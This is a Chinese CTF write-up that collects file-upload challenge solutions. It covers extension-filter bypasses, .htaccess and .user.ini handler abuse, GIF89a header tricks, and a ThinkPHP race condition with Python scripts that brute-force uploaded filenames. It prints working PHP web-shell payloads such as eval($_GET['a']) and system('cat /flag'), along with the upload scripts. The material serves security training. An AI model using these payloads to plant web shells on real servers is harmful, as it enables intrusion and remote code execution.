前言:
CTF下的檔案上傳考法也有很多種,結合做過的題目進行一個總結。
[ACTF2020 新生賽]Upload
——字尾名繞過

有JS代碼在前端驗證,先上傳要求的格式再通過抓包修改字尾名
看來php字尾被過濾了,可以嘗試其他字尾名
php常用字尾名如下:
# php2,php3、php4、php5、phtml、phtm
代替php字尾
phtml和phtm字尾即可上傳進行,下面就是連接配接檢視flag了
類似題目:
[極客大挑戰 2019]Upload
[GXYCTF2019]BabyUpload
——圖檔馬
經過測試隻有jpg字尾的圖檔可以上傳進行,利用php字尾名無法繞過,大小寫也無法繞過,那就通過上傳
.htaccess
檔案來解析上傳的jpg圖檔
上傳成功,下面傳入jpeg馬連接配接即可
補充一下上傳姿勢和.htaccess 檔案上傳
#上傳姿勢
添加gif89a的頭
<script language=”php”>
php2,php3、php4、php5、phtml、phtm代替php字尾
傳.htaccess
截斷上傳
#.htaccess檔案上傳
#方法一:
# FileMatch 參數即為檔案名的正則比對
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
// 1.jpg
<?php eval($_GET['a']);?>
#方法二:
AddType application/x-httpd-php .jpg
// 1.jpg
<?php eval($_GET['a']);?>
[MRCTF2020]你傳你????呢
[RoarCTF 2019]Simple Upload
——條件競争、Thinkphp的檔案上傳、腳本上傳
很明顯就是Thinkphp的代碼,查到thinkphp的手冊
ThinkPHP3.2完全開發手冊
查資料發現Thinkphp預設上傳路徑是
/home/index/upload
這道題沒有上傳點,應該是要自己編寫腳本上傳進去,可以參考師傅的文章去寫
python模拟檔案上傳(multipart/form-data形式)
下載下傳源碼觀察檔案上傳命名規則
uniqid() 函數基于以微秒計的目前時間,生成一個唯一的 ID,是以上傳檔案名是一直在變化的。
觀察題目源碼會發現隻是限制了上傳字尾,
thinkPHP
裡的
upload()
函數在不傳參的情況下是批量上傳的,可以了解為防護機制隻檢測一次,運用條件競争,多次上傳便可以繞過檔案字尾的檢測。
那接下來就通過腳本來進行上傳
import requests
url = 'http://b718a952-ff8f-46e1-b071-4d96d9b3b90e.node3.buuoj.cn/index.php/home/index/upload'
file1 = {'file':open('lemon.txt','r')}
file2 = {'file1':open('lemon.php','r')}
r = requests.post(url,files=file1)
print(r.text)
r = requests.post(url,files=file2)
print(r.text)
發現上傳的php檔案沒有顯示出檔案名
上面提到了uniqid() 函數會以時間更改檔案名,是以将lemon.txt上傳兩次根據第一和第三個正常檔案的檔案名之間的差異,爆破出我們上傳的木馬檔案名
import requests
url = 'http://b718a952-ff8f-46e1-b071-4d96d9b3b90e.node3.buuoj.cn/index.php/home/index/upload'
file1 = {'file':open('lemon.txt','r')}
file2 = {'file1':open('lemon.php','r')}
r = requests.post(url,files=file1)
print(r.text)
r = requests.post(url,files=file2)
print(r.text)
r = requests.post(url,files=file1)
print(r.text)
發現檔案名後六位不同,隻能爆破了
import requests
s = "1234567890abcdef"
for i in s:
for j in s:
for k in s:
for l in s:
for o in s:
for u in s:
url = "http://b718a952-ff8f-46e1-b071-4d96d9b3b90e.node3.buuoj.cn/Public/Uploads/2020-04-24/5ea2526%s%s%s%s%s%s.php"%(i,j,k,l,o,u)
r = requests.get(url)
# print(url)
if r.status_code != 404:
print(url)
break
幾乎爆破不出來,六位太長了,但思路和方法就是這樣的,看了師傅寫的腳本可以跑出來,學習一下
#coding:utf-8
import requests
import time
import json
url = "http://b718a952-ff8f-46e1-b071-4d96d9b3b90e.node3.buuoj.cn/"
path = url + "/index.php/home/index/upload"
files = {"file":("a.txt",'a'), "file1":("b.php", '<?php eval($_GET["a"]);')}
r = requests.post(path, files=files)
t1 = r.text.split("/")[-1].split(".")[0]
param=json.loads(r.content)
#json.loads()用于将str類型的資料轉成dict
print param
t1 = int(t1, 16)
j = t1
while True:
path = url + "/Public/Uploads/"+param['url'].split("/")[-2]+"/%s.php" % hex(j)[2:]
try:
r = requests.get(path,timeout=1)
except:
continue
if r.status_code == 429:#規避過于頻繁通路導緻的429
time.sleep(0.1)
continue
elif r.status_code != 404:
print path
print r.text
break
print j, path, r.status_code
j -= 1
[SUCTF 2019]CheckIn
——.user.ini的利用
這道題能學到新的知識和姿勢,下面就通過題目來學習
看似是一道正常的上傳題目,然後有黑名單,檢測檔案頭,截斷也不行,圖檔馬的話
.htaccess
檔案上傳不,這個就很頭疼,看了師傅的WP發現是用到了
.user.ini
,說實話這個真的沒有遇到過,學習一下
對比:
.user.ini 無論是nginx/apache/IIS,隻要以fastcgi運作的php都可以用這個方法。
.htaccess .htaccess有局限性,隻能是apache.
https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
原理就不叙述了,可以看師傅對其的分析,寫的真的很詳細了
配置項 | 描述 |
auto_prepend_file | 指定一個檔案,在任何php檔案運作前會将這個檔案require進來。 |
auto_append_file | 類似前一選項,差別是包含目标檔案在php尾部執行。當該檔案調用了exit()時無效。 |
下面就通過這道題來練習一下這個方法:
.user.ini
auto_prepend_file=1.jpg
上傳發現繞不過檔案頭檢測
可以添加
GIF89a
或者通過設定height以及width來繞過getimagesize、或exif_imagetype的檢測
#define width 666
#define height 666
payload:
.user.ini檔案
#define width 666
#define height 666
auto_prepend_file=3.jpg
3.jpg檔案
#define width 666
#define height 666
<script language="PHP">system("cat /flag");</script>